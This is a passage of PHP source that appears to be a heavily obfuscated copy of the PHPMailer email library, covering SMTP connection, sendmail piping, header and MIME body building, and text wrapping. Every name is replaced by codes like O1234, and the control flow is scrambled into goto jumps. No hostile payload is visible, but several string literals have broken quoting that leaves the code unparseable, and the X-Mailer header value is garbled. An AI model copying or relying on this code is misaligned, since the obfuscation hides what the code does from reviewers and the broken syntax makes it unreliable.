self::O3720); goto O4448; O9260: $O0515 = pclose($O3001); goto O5299; O7581: O8930: goto O1785; O3063: fwrite($O3001, $O5285); goto O9260; O7580: $O2539 = "%s -f%s"; goto O1672; O1672: O0209: goto O3990; O0087: goto O2341; goto O7581; O5226: O0936: goto O7580; O6637: $O2539 = "%s -oi -f%s -t"; goto O9859; O2493: fwrite($O3001, $O5269); goto O3063; O1785: $O2539 = "%s"; goto O1389; O3990: O5175: goto O1338; O5445: } protected static function O8677($O5086) { goto O7560; O4303: $O3400 = $O5086[$O8411]; goto O2137; O9467: if (!($O8411 < $O4188)) { goto O7399; } goto O4303; O0613: O1173: goto O0914; O5251: ++$O8411; goto O1031; O5785: return false; goto O0613; O0914: $O4188 = strlen($O5086); goto O4638; O2137: if (!(!ctype_alnum($O3400) && strpos("@_-.", $O3400) === false)) { goto O6576; } goto O0487; O4638: $O8411 = 0; goto O4480; O0487: return false; goto O4149; O6770: return true; goto O6966; O6501: O0160: goto O5251; O1031: goto O4659; goto O9301; O4149: O6576: goto O6501; O9301: O7399: goto O6770; O7560: if (!(escapeshellcmd($O5086) !== $O5086 or !in_array(escapeshellarg($O5086), ["'{$O5086}'", ""{$O5086}""]))) { goto O1173; } goto O5785; O4480: O4659: goto O9467; O6966: } protected static function O9648($O4935) { return !preg_match("#^[a-z]+://#i", $O4935); } protected function o9946($O5269, $O5285) { goto O3131; O9232: O7981: goto O3092; O3192: if ($this->O7683 and count($O1463) > 1) { goto O7981; } goto O3234; O0746: O3941: goto O2858; O3831: O0393: goto O4756; O4756: if (!isset($O2981)) { goto O3941; } goto O8859; O1689: O7292: goto O0292; O3408: return true; goto O0161; O4022: O9257: goto O6881; O2858: if ($O0515) { goto O3699; } goto O7546; O0366: $O2981 = ini_get("sendmail_from"); goto O3705; O6526: goto O0393; goto O9232; O5110: $this->O6038($O0515, $this->O1431, $this->O0958, $this->O3390, $this->O6959, $O5285, $this->O2135, []); goto O6526; O2349: $O0515 = false; goto O3192; O3092: foreach ($O1463 as $O0723) { goto O2252; O2252: $O0515 = $this->o1062($O0723, $this->O6959, $O5285, $O5269, $O7684); goto O1979; O7959: O7403: goto O7308; O1979: $this->o6038($O0515, [$O0723], $this->O0958, $this->O3390, $this->O6959, $O5285, $this->O2135, []); goto O7959; O7308: } goto O1705; O2393: O0102: goto O2349; O7546: throw new Exception($this->o0266("instantiate"), self::O3720); goto O4751; O6594: foreach ($this->O1431 as $O1699) { $O1463[] = $this->o5648($O1699); O2031: } goto O1689; O1705: O4446: goto O3831; O6255: $O7684 = null; goto O1955; O4974: O6773: goto O4022; O1955: if (!(!empty($this->O1935) and static::o1928($this->O1935))) { goto O9257; } goto O2615; O4751: O3699: goto O3408; O3234: $O0515 = $this->o1062($O3617, $this->O6959, $O5285, $O5269, $O7684); goto O5110; O0292: $O3617 = implode(", ", $O1463); goto O6255; O3131: $O1463 = []; goto O6594; O2615: if (!self::O8677($this->O1935)) { goto O6773; } goto O3825; O3705: ini_set("sendmail_from", $this->O1935); goto O2393; O3825: $O7684 = sprintf("-f%s", $this->O1935); goto O4974; O6881: if (!(!empty($this->O1935) and static::O1928($this->O1935))) { goto O0102; } goto O0366; O8859: ini_set("sendmail_from", $O2981); goto O0746; O0161: } public function o0859() { goto O5800; O3335: return $this->O0303; goto O0850; O8713: $this->O0303 = new O1053(); goto O6227; O6227: O3451: goto O3335; O5800: if (is_object($this->O0303)) { goto O3451; } goto O8713; O0850: } public function O0389(o1053 $O8981) { $this->O0303 = $O8981; return $this->O0303; } protected function O0193($O5269, $O5285) { goto O3094; O2093: O8252: goto O7458; O4864: O0653: goto O2873; O3608: O1196: goto O7420; O7302: return true; goto O8424; O3094: $O8791 = []; goto O1742; O5914: $O1127 = ''; goto O5378; O9596: O5411: goto O0743; O6762: O0335: goto O2643; O7045: foreach ([$this->O1431, $this->O0958, $this->O3390] as $O9757) { goto O3347; O7164: O8594: goto O6509; O3347: foreach ($O9757 as $O3617) { goto O2675; O1074: goto O3028; goto O6960; O1221: $O1725[] = ["issent" => $O2434, "to" => $O3617[0]]; goto O8486; O6250: $O2434 = true; goto O1074; O2675: if (!$this->O0303->O7087($O3617[0], $this->O4821)) { goto O4427; } goto O6250; O6960: O4427: goto O0485; O8486: O6975: goto O9078; O4658: $O2434 = false; goto O5530; O5116: $O8791[] = ["to" => $O3617[0], "error" => $O1595["detail"]]; goto O4658; O0485: $O1595 = $this->O0303->o8504(); goto O5116; O5530: O3028: goto O1221; O9078: } goto O7164; O6509: O3677: goto O3958; O3958: } goto O6581; O9775: goto O5411; goto O4864; O0677: goto O9289; goto O6762; O2873: $O0809 = $this->O2135; goto O9596; O6450: throw new Exception($this->o0266("smtp_connect_failed"), self::O3720); goto O5704; O0735: if ($this->O2695) { goto O0335; } goto O0925; O7458: if (!(count($O8791) > 0)) { goto O0900; } goto O5914; O7420: $O4390 = $this->O0303->O5818(); goto O0735; O9021: $this->O0303->close(); goto O0677; O5378: foreach ($O8791 as $O0710) { $O1127 .= $O0710["to"] . ": " . $O0710["error"]; O4423: } goto O3642; O4140: if (!(count($this->O8684) > count($O8791) and !$this->O0303->O6302($O5269 . $O5285))) { goto O1196; } goto O6797; O3104: O9289: goto O3429; O3430: throw new Exception($this->O3627, self::O3720); goto O1982; O3429: foreach ($O1725 as $O5121) { $this->O6038($O5121["issent"], [$O5121["to"]], [], [], $this->O6959, $O5285, $this->O2135, ["smtp_transaction_id" => $O4390]); O1708: } goto O2093; O6797: throw new Exception($this->O0266("data_not_accepted"), self::O3720); goto O3608; O6581: O3517: goto O4140; O3642: O8072: goto O2479; O2479: throw new Exception($this->O0266("recipients_failed") . $O1127, self::O3420); goto O1738; O2643: $this->O0303->reset(); goto O3104; O3441: $this->o8188($this->o0266("from_failed") . $O0809 . " : " . implode(",", $this->O0303->o8504())); goto O3430; O1982: O5492: goto O3391; O1738: O0900: goto O7302; O6159: if ('' == $this->O1935) { goto O0653; } goto O0255; O0925: $this->O0303->O3074(); goto O9021; O0743: if ($this->O0303->mail($O0809)) { goto O5492; } goto O3441; O5704: O8528: goto O6159; O1742: if ($this->O1780($this->O6105)) { goto O8528; } goto O6450; O0255: $O0809 = $this->O1935; goto O9775; O3391: $O1725 = []; goto O7045; O8424: } public function o1780($O4868 = null) { goto O8954; O6207: return true; goto O1404; O2800: $this->O0303 = $this->o0859(); goto O9126; O8954: if (!(null === $this->O0303)) { goto O2852; } goto O2800; O7808: if (!(null === $O4868)) { goto O5037; } goto O2833; O3182: $this->O0303->o0797($this->O3117); goto O7856; O9209: O3646: goto O5495; O7856: $O5415 = explode(";", $this->O6228); goto O6446; O2247: foreach ($O5415 as $O5331) { goto O3054; O3574: $O0275 = "ssl"; goto O9045; O6640: O0357: goto O2380; O9145: static::o5093($this->O0266("connect_host") . " " . $O5331); goto O4526; O2220: if ("ssl" == $O9595[2] or '' == $O9595[2] and "ssl" == $this->O5604) { goto O4398; } goto O3237; O1296: O1036: goto O2283; O9045: goto O8018; goto O8695; O3386: if (!($O4792 > 0 and $O4792 < 65536)) { goto O6618; } goto O0825; O8382: $O3954 = $O9595[3]; goto O6099; O3237: if ("tls" == $O9595[2]) { goto O3554; } goto O2470; O9405: $O0275 = "tls"; goto O4379; O8695: O3554: goto O8223; O3414: $O8067 = defined("OPENSSL_ALGO_SHA256"); goto O6084; O3969: if (!$this->O0303->connect($O5845 . $O3954, $O4008, $this->O5237, $O4868)) { goto O1939; } goto O4154; O3054: $O9595 = []; goto O6944; O5805: O5338: goto O9067; O8842: O1939: goto O5805; O4027: $O0275 = $this->O5604; goto O0931; O4154: try { goto O6453; O1373: $this->O0303->o5919($O5140); goto O8087; O9823: return true; goto O3999; O6817: O7451: goto O7412; O5410: O9355: goto O4339; O8242: if ($this->O0303->O0444($this->O6663, $this->O4673, $this->O0001, $this->O4337)) { goto O5912; } goto O2673; O2673: throw new Exception($this->O0266("authenticate")); goto O3609; O7911: $O5140 = $this->O3980; goto O2523; O2523: O5979: goto O1373; O4339: if (!$this->O3884) { goto O2507; } goto O8242; O8905: O5582: goto O7911; O7412: if (!$O1186) { goto O9355; } goto O7315; O7640: O2507: goto O9823; O6453: if ($this->O3980) { goto O5582; } goto O7352; O7352: $O5140 = $this->O9929(); goto O6575; O8087: if (!($this->O4418 and $O8067 and "ssl" != $O0275 and $this->O0303->o6117("STARTTLS"))) { goto O7451; } goto O9470; O9470: $O1186 = true; goto O6817; O4903: $this->O0303->O5919($O5140); goto O5410; O6575: goto O5979; goto O8905; O2657: O8463: goto O4903; O7315: if ($this->O0303->O4990()) { goto O8463; } goto O0013; O3609: O5912: goto O7640; O0013: throw new Exception($this->O0266("connect_host")); goto O2657; O3999: } catch (Exception $O0127) { goto O6178; O0036: $this->o5093($O0127->getMessage()); goto O6757; O6178: $O6004 = $O0127; goto O0036; O6757: $this->O0303->o3074(); goto O3727; O3727: } goto O8842; O5923: if ($O8067) { goto O0357; } goto O0511; O8223: $O1186 = true; goto O9405; O7437: $O1186 = false; goto O3574; O6084: if (!("tls" === $O0275 or "ssl" === $O0275)) { goto O5594; } goto O5923; O2380: O5594: goto O8382; O6099: $O4008 = $this->O8164; goto O5274; O2689: $O5845 = "ssl://"; goto O7437; O2470: goto O8018; goto O0141; O4379: O8018: goto O3414; O5031: O0149: goto O5853; O5853: $O5845 = ''; goto O4027; O4526: goto O5338; goto O5031; O9957: static::O5093($this->o0266("connect_host") . " " . $O5331); goto O2782; O0931: $O1186 = "tls" == $this->O5604; goto O2220; O2782: goto O5338; goto O1296; O6944: if (preg_match("/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/", trim($O5331), $O9595)) { goto O1036; } goto O9957; O5274: $O4792 = (int) $O9595[4]; goto O3386; O7931: O6618: goto O3969; O0511: throw new Exception($this->o0266("extension_missing") . "openssl", self::O3720); goto O6640; O0825: $O4008 = $O4792; goto O7931; O2283: if (static::O2097($O9595[3])) { goto O0149; } goto O9145; O0141: O4398: goto O2689; O9067: } goto O5244; O9017: throw $O6004; goto O9209; O7963: if (!($this->O0454 and null !== $O6004)) { goto O3646; } goto O9017; O4475: $this->O0303->O4292($this->O1946); goto O7861; O6446: $O6004 = null; goto O2247; O2382: $this->O0303->O9918($this->O5237); goto O4475; O1404: O6121: goto O2382; O6940: if (!$this->O0303->O4754()) { goto O6121; } goto O6207; O5495: return false; goto O9215; O9126: O2852: goto O7808; O7861: $this->O0303->o9338($this->O4819); goto O3182; O5244: O5083: goto O5448; O2833: $O4868 = $this->O6105; goto O0198; O0198: O5037: goto O6940; O5448: $this->O0303->close(); goto O7963; O9215: } public function O8480() { goto O9783; O5284: if (!$this->O0303->o4754()) { goto O3745; } goto O4286; O9783: if (!(null !== $this->O0303)) { goto O2227; } goto O5284; O5148: O2227: goto O8717; O5065: $this->O0303->close(); goto O8140; O4286: $this->O0303->O3074(); goto O5065; O8140: O3745: goto O5148; O8717: } public function O5460($O5239 = "en", $O2089 = '') { goto O4295; O5187: O4618: goto O2425; O5843: $O2089 = dirname(__DIR__) . DIRECTORY_SEPARATOR . "language" . DIRECTORY_SEPARATOR; goto O2388; O7068: $this->O3473 = $O0962; goto O0964; O0480: O2981: goto O8565; O2425: $O0962 = ["authenticate" => "SMTP Error: Could not authenticate.", "connect_host" => "SMTP Error: Could not connect to SMTP host.", "data_not_accepted" => "SMTP Error: data not accepted.", "empty_message" => "Message body empty", "encoding" => "Unknown encoding: ", "execute" => "Could not execute: ", "file_access" => "Could not access file: ", "file_open" => "File Error: Could not open file: ", "from_failed" => "The following From address failed: ", "instantiate" => "Could not instantiate mail function.", "invalid_address" => "Invalid address: ", "mailer_not_supported" => " mailer is not supported.", "provide_address" => "You mustprovide at least one recipient email address.", "recipients_failed" => "SMTP Error: The following recipients failed: ", "signing" => "Signing Error: ", "smtp_connect_failed" => "SMTP connect() failed.", "smtp_error" => "SMTP server error: ", "variable_set" => "Cannot set or reset variable: ", "extension_missing" => "Extension missing: "]; goto O6300; O0964: return (bool) $O0816; goto O8412; O5254: if (!isset($O8694[$O5239])) { goto O4618; } goto O1541; O2577: O4386: goto O9842; O5791: if (!("en" != $O5239)) { goto O6285; } goto O1683; O1683: if (!static::O9648($O4174) || !file_exists($O4174)) { goto O4386; } goto O0371; O9842: $O0816 = false; goto O0480; O4390: $O5239 = "en"; goto O7242; O1666: $O0816 = true; goto O9073; O1541: $O5239 = $O8694[$O5239]; goto O5187; O1049: if (preg_match("/^[a-z]{2}(?:_[a-zA-Z]{2})?$/", $O5239)) { goto O8290; } goto O4390; O0371: $O0816 = (include $O4174); goto O2627; O6300: if (!empty($O2089)) { goto O0012; } goto O5843; O8565: O6285: goto O7068; O7242: O8290: goto O1666; O2388: O0012: goto O1049; O4295: $O8694 = ["br" => "pt_br", "cz" => "cs", "dk" => "da", "no" => "nb", "se" => "sv", "rs" => "sr", "tg" => "tl"]; goto O5254; O9073: $O4174 = $O2089 . "phpmailer.lang-" . $O5239 . ".php"; goto O5791; O2627: goto O2981; goto O2577; O8412: } public function O2885() { return $this->O3473; } public function O9790($O9999, $O8440) { goto O3413; O3413: $O5531 = []; goto O7759; O7759: foreach ($O8440 as $O4707) { $O5531[] = $this->O5648($O4707); O2904: } goto O1458; O3551: return $O9999 . ": " . implode(", ", $O5531) . static::$O1517; goto O9424; O1458: O5003: goto O3551; O9424: } public function o5648($O8440) { goto O2887; O7530: O2081: goto O7655; O1571: return $this->O3957($O8440[0]); goto O7530; O7655: return $this->O1008($this->o3957($O8440[1]), "phrase") . " <" . $this->O3957($O8440[0]) . ">"; goto O9437; O2887: if (!empty($O8440[1])) { goto O2081; } goto O1571; O9437: } public function o2471($O6131, $O4188, $O5885 = false) { goto O7339; O1621: $O6131 = static::O8623($O6131); goto O4973; O0206: $O7420 = static::$O1517; goto O2301; O2553: $O7420 = sprintf(" =%s", static::$O1517); goto O3276; O2301: goto O9144; goto O4158; O1326: O3383: goto O0023; O9457: O5857: goto O5651; O7326: $O3294 = strlen(static::$O1517); goto O1621; O4973: if (!(substr($O6131, -$O0046) == static::$O1517)) { goto O3383; } goto O1013; O2625: $O1729 = static::O5095 === strtolower($this->O0610); goto O6718; O4158: O1088: goto O2553; O0023: $O7040 = explode(static::$O1517, $O6131); goto O8794; O1013: $O6131 = substr($O6131, 0, -$O0046); goto O1326; O8794: $O6131 = ''; goto O0267; O5651: return $O6131; goto O6332; O3276: O9144: goto O2625; O7339: if ($O5885) { goto O1088; } goto O0206; O6718: $O0046 = strlen(static::$O1517); goto O7326; O0267: foreach ($O7040 as $O8240) { goto O4843; O3854: $O0224 = ''; goto O2307; O7102: O5271: goto O4212; O4843: $O5127 = explode(" ", $O8240); goto O3854; O2189: O2464: goto O6191; O4563: foreach ($O5127 as $O0766) { goto O0753; O0261: if (!($O4188 <= 0)) { goto O1205; } goto O5978; O0472: O1132: goto O5936; O5213: $O1432 = $this->o1984($O0766, $O1432); goto O8254; O7766: O3491: goto O7318; O8027: if ($O6673 > 20) { goto O8379; } goto O4417; O5107: if ("=" == substr($O0766, $O1432 - 1, 1)) { goto O3491; } goto O5140; O2273: O2500: goto O1451; O5978: goto O3540; goto O5090; O2906: $O6131 .= $O4799 . sprintf("=%s", static::$O1517); goto O0472; O5936: goto O0782; goto O8430; O7898: goto O9269; goto O5682; O2997: O0782: goto O9676; O8545: O8562: goto O3704; O1043: $O1432 = $O6673; goto O8958; O5497: O1874: goto O5705; O8959: goto O2500; goto O9118; O0753: if ($O5885 and strlen($O0766) > $O4188) { goto O6394; } goto O2511; O2756: if ($O2000) { goto O0423; } goto O0251; O8958: if ($O1729) { goto O2649; } goto O7832; O2100: $O0766 = substr($O0766, $O1432); goto O3418; O5682: O2649: goto O5213; O7318: --$O1432; goto O4201; O8786: $O1432 = $O4188; goto O8051; O5641: O2915: goto O1784; O2511: $O6257 = $O0224; goto O2756; O4168: O1712: goto O2997; O2102: O2953: goto O0716; O2600: $O6131 .= $O0224 . sprintf("=%s", static::$O1517); goto O2273; O4417: $O6131 .= $O0224 . $O7420; goto O8959; O1911: O6394: goto O4554; O4201: goto O6165; goto O5641; O8430: O3540: goto O2117; O9225: $O0224 .= $O0766; goto O6562; O1285: O0423: goto O9225; O6746: if (strlen($O0766) > 0) { goto O0959; } goto O6779; O7832: if ("=" == substr($O0766, $O1432 - 1, 1)) { goto O1937; } goto O7992; O8254: goto O9269; goto O1614; O0716: $O1432 = $this->O1984($O0766, $O1432); goto O0604; O7563: $O6131 .= $O6257 . $O7420; goto O2437; O9200: $O2000 = false; goto O8545; O9453: goto O1132; goto O9565; O6562: if (!(strlen($O0224) > $O4188 and '' != $O6257)) { goto O1874; } goto O7563; O1784: $O1432 -= 2; goto O6667; O9565: O0959: goto O2906; O6779: $O0224 = $O4799; goto O9453; O2117: O7305: goto O9200; O8051: if ($O1729) { goto O2953; } goto O5107; O9450: $O4799 = substr($O0766, 0, $O1432); goto O9068; O8438: goto O6165; goto O2102; O5090: O1205: goto O8786; O5140: if ("=" == substr($O0766, $O1432 - 2, 1)) { goto O2915; } goto O8438; O8592: O9269: goto O8555; O2437: $O0224 = $O0766; goto O5497; O9068: $O0766 = substr($O0766, $O1432); goto O6746; O7992: if ("=" == substr($O0766, $O1432 - 2, 1)) { goto O3558; } goto O7898; O8555: $O4799 = substr($O0766, 0, $O1432); goto O2100; O4612: if ($O2000) { goto O1712; } goto O8027; O4554: $O6673 = $O4188 - strlen($O0224) - $O3294; goto O4612; O6667: O6165: goto O9450; O0617: --$O1432; goto O4194; O3418: $O0224 .= " " . $O4799; goto O2600; O9118: O8379: goto O1043; O1614: O1937: goto O0617; O9676: if (!(strlen($O0766) > 0)) { goto O3540; } goto O0261; O9628: O3558: goto O6221; O0251: $O0224 .= " "; goto O1285; O0604: goto O6165; goto O7766; O1451: $O0224 = ''; goto O4168; O4194: goto O9269; goto O9628; O6221: $O1432 -= 2; goto O8592; O5705: goto O7305; goto O1911; O3704: } goto O7102; O2307: $O2000 = true; goto O4563; O4212: $O6131 .= $O0224 . static::$O1517; goto O2189; O6191: } goto O9457; O6332: } public function o1984($O7327, $O9042) { goto O9915; O4095: if (!($O1530 > 0)) { goto O6270; } goto O0675; O9084: goto O2730; goto O4163; O9317: goto O2730; goto O4911; O9007: if ($O2374 >= 192) { goto O5678; } goto O6120; O8715: $O8535 = substr($O7327, $O9042 - $O3192, $O3192); goto O5046; O3911: goto O2730; goto O5188; O5046: $O1530 = strpos($O8535, "="); goto O1051; O5188: O5678: goto O9812; O7752: return $O9042; goto O4144; O5215: goto O5862; goto O1610; O0304: if ($O4302) { goto O2170; } goto O8715; O9422: $O2374 = hexdec($O3547); goto O8941; O4911: O5695: goto O4095; O7915: $O3547 = substr($O7327, $O9042 - $O3192 + $O1530 + 1, 2); goto O9422; O6120: if ($O2374 < 192) { goto O2216; } goto O9317; O1610: O2170: goto O7752; O1919: $O4302 = true; goto O3911; O7942: $O3192 += 3; goto O7272; O5094: O8299: goto O7915; O8941: if ($O2374 < 128) { goto O5695; } goto O9007; O1963: O6270: goto O1919; O9812: $O9042 -= $O3192 - $O1530; goto O6541; O7747: O2659: goto O5215; O5849: $O4302 = true; goto O4261; O4163: O2216: goto O7942; O9915: $O4302 = false; goto O3984; O2161: O5862: goto O0304; O3984: $O3192 = 3; goto O2161; O0675: $O9042 -= $O3192 - $O1530; goto O1963; O1051: if (false !== $O1530) { goto O8299; } goto O5849; O7272: O2730: goto O7747; O4261: goto O2659; goto O5094; O6541: $O4302 = true; goto O9084; O4144: } public function o9734() { goto O8046; O8046: if (!($this->O4988 < 1)) { goto O2001; } goto O1867; O2118: O4804: goto O5151; O5151: O3288: goto O6257; O7732: switch ($this->O4974) { case "alt": case "alt_inline": case "alt_attach": case "alt_inline_attach": $this->O1077 = $this->O2471($this->O1077, $this->O4988); goto O3288; default: $this->O1892 = $this->O2471($this->O1892, $this->O4988); goto O3288; } goto O2118; O1867: return; goto O1101; O1101: O2001: goto O7732; O6257: } public function O5700() { goto O5425; O1117: O1245: goto O5021; O0489: O3952: goto O5970; O7067: O6296: goto O8413; O1914: if (!('' != $this->O5829)) { goto O6296; } goto O3550; O3764: $this->O6536 = sprintf("<%s@%s>", $this->O8758, $this->o9929()); goto O9093; O0545: O9620: goto O4774; O5425: $O0515 = ''; goto O5608; O3550: $O0515 .= $this->o3698("Disposition-Notification-To", "<" . $this->O5829 . ">"); goto O7067; O2330: O8899: goto O9383; O5608: $O0515 .= $this->O3698("Date", '' == $this->O9621 ? self::o0766() : $this->O9621); goto O2574; O5353: O1905: goto O4867; O5970: if ('' != $this->O2722 and preg_match("/^<.*@.*>$/", $this->O2722)) { goto O8899; } goto O3764; O0473: if (!("mail" != $this->O8348)) { goto O9620; } goto O7052; O2574: if ($this->O7683) { goto O4445; } goto O3691; O1566: $O0515 .= $this->O3698("To", "undisclosed-recipients:;"); goto O6538; O2228: $O8718 = trim($this->O8184); goto O5666; O9383: $this->O6536 = $this->O2722; goto O4324; O4737: $O0515 .= $this->O3698("Subject", $this->o1008($this->o3957($this->O6959))); goto O0489; O9909: $O0515 .= $this->O9790("Cc", $this->O0958); goto O3768; O7805: if (!(null !== $this->O4398)) { goto O1905; } goto O2374; O6334: goto O8979; goto O5741; O2882: $O0515 .= $this->o9790("Bcc", $this->O3390); goto O1117; O5021: if (!(count($this->O9879) > 0)) { goto O9452; } goto O9207; O7052: $O0515 .= $this->O9790("To", $this->O1431); goto O0545; O7113: O2844: goto O1566; O5741: O2897: goto O2655; O1512: O8245: goto O0567; O9836: goto O0017; goto O0339; O2374: $O0515 .= $this->O3698("X-Priority", $this->O4398); goto O5353; O4867: if ('' == $this->O8184) { goto O2897; } goto O2228; O1387: O8664: goto O2171; O0053: $O0515 .= $this->O9790("From", [[trim($this->O2135), $this->O5331]]); goto O5839; O4470: O4445: goto O3149; O5666: if (!$O8718) { goto O4401; } goto O8000; O0339: O6876: goto O0473; O3594: if (!(("sendmail" == $this->O8348 or "qmail" == $this->O8348 or "mail" == $this->O8348) and count($this->O3390) > 0)) { goto O1245; } goto O2882; O6572: foreach ($this->O1431 as $O1699) { $this->O1036[] = $this->o5648($O1699); O3785: } goto O1512; O0567: O3000: goto O3308; O9044: O9452: goto O7740; O8769: O8979: goto O1914; O5649: if ($this->O8187) { goto O8664; } goto O3940; O5281: O3884: goto O5649; O5839: if (!(count($this->O0958) > 0)) { goto O9116; } goto O9909; O8000: $O0515 .= $this->O3698("X-Mailer", $O8718); goto O1441; O8413: foreach ($this->O0111 as $O5269) { $O0515 .= $this->o3698(trim($O5269[0]), $this->O1008(trim($O5269[1]))); O2958: } goto O5281; O2171: return $O0515; goto O0644; O2818: $O0515 .= $this->O3698("Message-ID", $this->O6536); goto O7805; O9093: goto O3561; goto O2330; O2655: $O0515 .= $this->O3698("X-Mailer", "??1?" . self::O2652 . "??"); goto O8769; O9207: $O0515 .= $this->o9790("Reply-To", $this->O9879); goto O9044; O3691: if (count($this->O1431) > 0) { goto O6876; } goto O4043; O4774: goto O0017; goto O7113; O3308: O7710: goto O0053; O6538: O0017: goto O1227; O3940: $O0515 .= $this->O3698("MIME-Version", "1.0"); goto O9441; O4324: O3561: goto O2818; O1227: goto O7710; goto O4470; O9441: $O0515 .= $this->O2472(); goto O1387; O1441: O4401: goto O6334; O3149: if (!("mail" != $this->O8348)) { goto O3000; } goto O6572; O4043: if (count($this->O0958) == 0) { goto O2844; } goto O9836; O7740: if (!("mail" != $this->O8348)) { goto O3952; } goto O4737; O3768: O9116: goto O3594; O0644: } public function o2472() { goto O2072; O3053: if (!("mail" != $this->O8348)) { goto O1612; } goto O2158; O4593: O1272: goto O7592; O8120: switch ($this->O4974) { case "inline": goto O3056; O3056: $O0515 .= $this->o3698("Content-Type", static::O4400 . ";"); goto O7119; O7119: $O0515 .= $this->O3258(" boundary="" . $this->O1933[1] . """); goto O9326; O9326: goto O2359; goto O0402; O0402: case "attach": case "inline_attach": case "alt_attach": case "alt_inline_attach": goto O2504; O4397: $O0515 .= $this->O3258(" boundary="" . $this->O1933[1] . """); goto O8689; O2504: $O0515 .= $this->o3698("Content-Type", static::O7571 . ";"); goto O4397; O8689: goto O2359; goto O5058; O5058: case "alt": case "alt_inline": goto O8648; O7400: $O0515 .= $this->o3258(" boundary="" . $this->O1933[1] . """); goto O1050; O1050: goto O2359; goto O0275; O8648: $O0515 .= $this->o3698("Content-Type", static::O5743 . ";"); goto O7400; O0275: default: goto O8505; O8505: $O0515 .= $this->O3258("Content-Type: " . $this->O5234 . "; charset=" . $this->O0610); goto O8956; O3695: goto O2359; goto O7459; O8956: $O2251 = false; goto O3695; O7459: } goto O4593; O9835: $O2251 = true; goto O8120; O5567: $O0515 .= $this->o3698("Content-Transfer-Encoding", $this->O8046); goto O4999; O7592: O2359: goto O5084; O8124: O1612: goto O2089; O5442: O6827: goto O3053; O7324: if (!(static::O1466 == $this->O8046)) { goto O8415; } goto O8091; O2072: $O0515 = ''; goto O9835; O3295: O0422: goto O5442; O0950: O3061: goto O7324; O4999: goto O0422; goto O0950; O8583: O8415: goto O3295; O8091: $O0515 .= $this->o3698("Content-Transfer-Encoding", static::O1466); goto O8583; O2158: $O0515 .= static::$O1517; goto O8124; O5084: if (!(static::O2669 != $this->O8046)) { goto O6827; } goto O9765; O9765: if ($O2251) { goto O3061; } goto O5567; O2089: return $O0515; goto O1018; O1018: } public function O0741() { return rtrim($this->O0199 . $this->O3852, "
\xd") . static::$O1517 . static::$O1517 . $this->O8926; } protected function O9656() { goto O1186; O7390: if (function_exists("openssl_random_pseudo_bytes")) { goto O6999; } goto O8312; O1186: $O1432 = 32; goto O3315; O9999: $O5584 = random_bytes($O1432); goto O3300; O3300: goto O7404; goto O5969; O8312: $O5584 = hash("sha256", uniqid((string) mt_rand(), true), true); goto O1262; O1262: goto O7404; goto O8184; O8184: O1266: goto O9999; O3559: O7404: goto O8365; O8365: return str_replace(["=", "+", "/"], '', base64_encode(hash("sha256", $O5584, true))); goto O6582; O5098: $O5584 = openssl_random_pseudo_bytes($O1432); goto O3559; O3315: if (function_exists("random_bytes")) { goto O1266; } goto O7390; O5969: O6999: goto O5098; O6582: } public function O1426() { goto O0523; O8800: return $O5285; goto O1005; O8132: $O5285 .= $this->O2472() . static::$O1517; goto O0768; O5789: goto O2357; goto O5436; O4384: if (!$this->O0454) { goto O4075; } goto O7715; O0523: $O5285 = ''; goto O5688; O0829: $O8475 = $this->O0610; goto O5573; O0598: $this->O1933[1] = "b1_" . $this->O8758; goto O9465; O6278: O6926: goto O0414; O9465: $this->O1933[2] = "b2_" . $this->O8758; goto O6701; O5901: if (!(static::O8717 != $this->O8046 and static::o1784($this->O1892))) { goto O7188; } goto O5334; O0315: goto O2357; goto O8961; O6814: if (!$this->O8187) { goto O1168; } goto O8132; O4455: $O3218 = static::O3538; goto O9390; O3155: O4075: goto O5789; O5334: $O8522 = static::O3538; goto O0805; O9390: O3482: goto O8623; O8358: O0101: goto O5901; O2108: $O0964 = "us-ascii"; goto O8358; O5436: O9504: goto O3231; O0414: if (!(static::O8717 != $O3218 and static::o1784($this->O1077))) { goto O3482; } goto O4455; O0805: O7188: goto O6220; O5573: if (!(static::O1466 == $O3218 and !$this->o1181($this->O1077))) { goto O6926; } goto O7254; O0768: O1168: goto O0143; O6220: $O3218 = $this->O8046; goto O0829; O8917: switch ($this->O4974) { case "inline": goto O2362; O2457: $O5285 .= static::$O1517; goto O3326; O3326: $O5285 .= $this->o7408("inline", $this->O1933[1]); goto O9794; O2362: $O5285 .= $O9813; goto O8017; O8017: $O5285 .= $this->O4593($this->O1933[1], $O0964, '', $O8522); goto O5944; O9794: goto O1484; goto O5748; O5944: $O5285 .= $this->o7916($this->O1892, $O8522); goto O2457; O5748: case "attach": goto O7785; O8521: goto O1484; goto O5931; O3817: $O5285 .= $this->O4593($this->O1933[1], $O0964, '', $O8522); goto O0227; O1731: $O5285 .= static::$O1517; goto O7357; O0227: $O5285 .= $this->O7916($this->O1892, $O8522); goto O1731; O7785: $O5285 .= $O9813; goto O3817; O7357: $O5285 .= $this->o7408("attachment", $this->O1933[1]); goto O8521; O5931: case "inline_attach": goto O8605; O0897: $O5285 .= $this->O3258("--" . $this->O1933[1]); goto O2592; O2592: $O5285 .= $this->O3698("Content-Type", static::O4400 . ";"); goto O7166; O9024: $O5285 .= static::$O1517; goto O4714; O0939: goto O1484; goto O2766; O6548: $O5285 .= $this->o3258(" type="" . static::O3427 . """); goto O6114; O4185: $O5285 .= $this->o7916($this->O1892, $O8522); goto O9024; O6114: $O5285 .= static::$O1517; goto O1495; O0434: $O5285 .= static::$O1517; goto O3506; O1495: $O5285 .= $this->O4593($this->O1933[2], $O0964, '', $O8522); goto O4185; O3506: $O5285 .= $this->o7408("attachment", $this->O1933[1]); goto O0939; O4714: $O5285 .= $this->O7408("inline", $this->O1933[2]); goto O0434; O7166: $O5285 .= $this->O3258(" boundary="" . $this->O1933[2] . "";"); goto O6548; O8605: $O5285 .= $O9813; goto O0897; O2766: case "alt": goto O0933; O0537: $O5285 .= static::$O1517; goto O0853; O0853: O6029: goto O5283; O7914: $O5285 .= $this->o4593($this->O1933[1], '', static::O2967 . "; method=REQUEST", ''); goto O6590; O0933: $O5285 .= $O9813; goto O9393; O9393: $O5285 .= $this->o4593($this->O1933[1], $O8475, static::O0673, $O3218); goto O7295; O0168: if (empty($this->O4893)) { goto O6029; } goto O7914; O7295: $O5285 .= $this->o7916($this->O1077, $O3218); goto O5347; O3311: $O5285 .= $this->O4593($this->O1933[1], $O0964, static::O3427, $O8522); goto O0770; O5283: $O5285 .= $this->o5521($this->O1933[1]); goto O0015; O0498: $O5285 .= static::$O1517; goto O0168; 